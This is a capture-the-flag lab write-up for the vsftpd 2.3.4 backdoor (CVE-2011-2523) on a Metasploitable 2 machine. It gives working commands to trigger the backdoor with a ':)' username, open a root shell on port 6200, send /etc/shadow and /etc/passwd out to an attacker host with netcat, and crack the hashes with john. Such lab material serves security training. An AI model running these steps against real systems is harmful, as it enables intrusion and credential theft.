CVE-2011-2523 PoC — vsftpd 操作系统命令注入漏洞

Readme

# Scenario Capture the Flag - CVE-2011-2523
Capture the decrypted `/etc/shadow` and `/etc/passwd` file from vulnerable Metasploitable 2 server.
# Setup Enviornment
## Step 1: Download an unzip virtual machine
For this CTF, we run VMware Workstation Pro with two virtual machines. We utilize Kali Linux as the attacker's machine and Metasploitable 2 as the vulnerable machine. 
-	Download and Install VMware Workstation: https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html
-	Download and Extract Kali Linux Virtual Machine: https://www.kali.org/get-kali/
-	Download and Extract Metasploitable 2 Virtual Machine: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 
## Step 2: Open Kali Linux and Metasploitable 2 Virtual Machines in VMware from extracted file
-	Choose `Open a Virtual Machine` Option in VMware Workstation and select unzipped Kali Linux file
-	Right click on slide bar and select `open` option, then select unzipped Metasploitable 2 file
-	Press `Play virtual machine` button on both virtual machines
-	When prompted to select `I moved It` or `I copied It` option, select `I copied It` option
## Step 3: Login
-	Login to Kali Linux using `kali` as the username and password
-	Login to Metasploitable using `msfadmin` as the username and password
## Step 4: Record IP address of Metasploitable virtual machine
-	Run `ip addr show` and record IP address of the `inet` section

# Solution
Massachusetts Institute of Technology Research and Engineering detail CVE-2011-2523 as a common vulnerability and exposure where ```vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp```.
## Step 1: Search for open ports on Metasploitable machine using FTP service
-	`nmap <vulnerable-machine-ip-address>`
-	nmap scan should show an open port on port 21 using the ftp service
## Step 2: Attempt to NetCat into open port
-	`nc <vulnerable-machine-ip-address> 21`
-	Username is any string with `:)` on the end, enter `user <string>:)`
-	When prompted for a password enter any string `pass <string>`
-	Then exit connection using ^C [CTRL + C], a shell at root to Metasploitable has been opened on port 6200.
## Step 3: Connect to shell on port 6200 of the vulnerable machine
-	` nc -v <vulnerable-machine-ip-address> 6200`
-	Show ip address of current connection `ip addr show`
-	Show that root access was granted using `whoami`
## Step 4: Copy `/etc/shadow` and `/etc/passwd` file into another file
-	`cp /etc/shadow shadow.txt`
-	`cp /etc/passwd passwd.txt`
## Step 5: Send copied files to Kali Linux machine using NetCat
-	On attacker machine, lookup the ip address under `inet` using command `ip addr show`
-	Listen for files using `nc -l -p 1234 > shadow.txt` on attacker machine
-	In root shell on Metasploitable `nc -w 3 <destination-ip> 1234 < shadow.txt`
-	Repeat for passwd file
## Step 5: Format shadow file into `John` tool format
-	`unshadow passwd.txt shadow.txt > unshadowed-input`
-	Observe the file using `cat unshadowed-input`, should have username and password stored
## Step 6: Decrypt shadow file using `John` command and wordlist
-	Utilize the wordlist `rockyou.txt` to crack hashes using john
-	Unzip wordlist file on Kali Linux using `sudo gzip -d /usr/share/wordlists/rockyou.txt.gz`
-	When promoted for a password, use the default admin password for Kali Linux `kali`
-	Unhash passwords using `john unshadowed-input –wordlist=/usr/share/wordlists/rockyou.txt`
-	View cracked passwords `john –show unshadowed-input`

File Snapshot

Remarks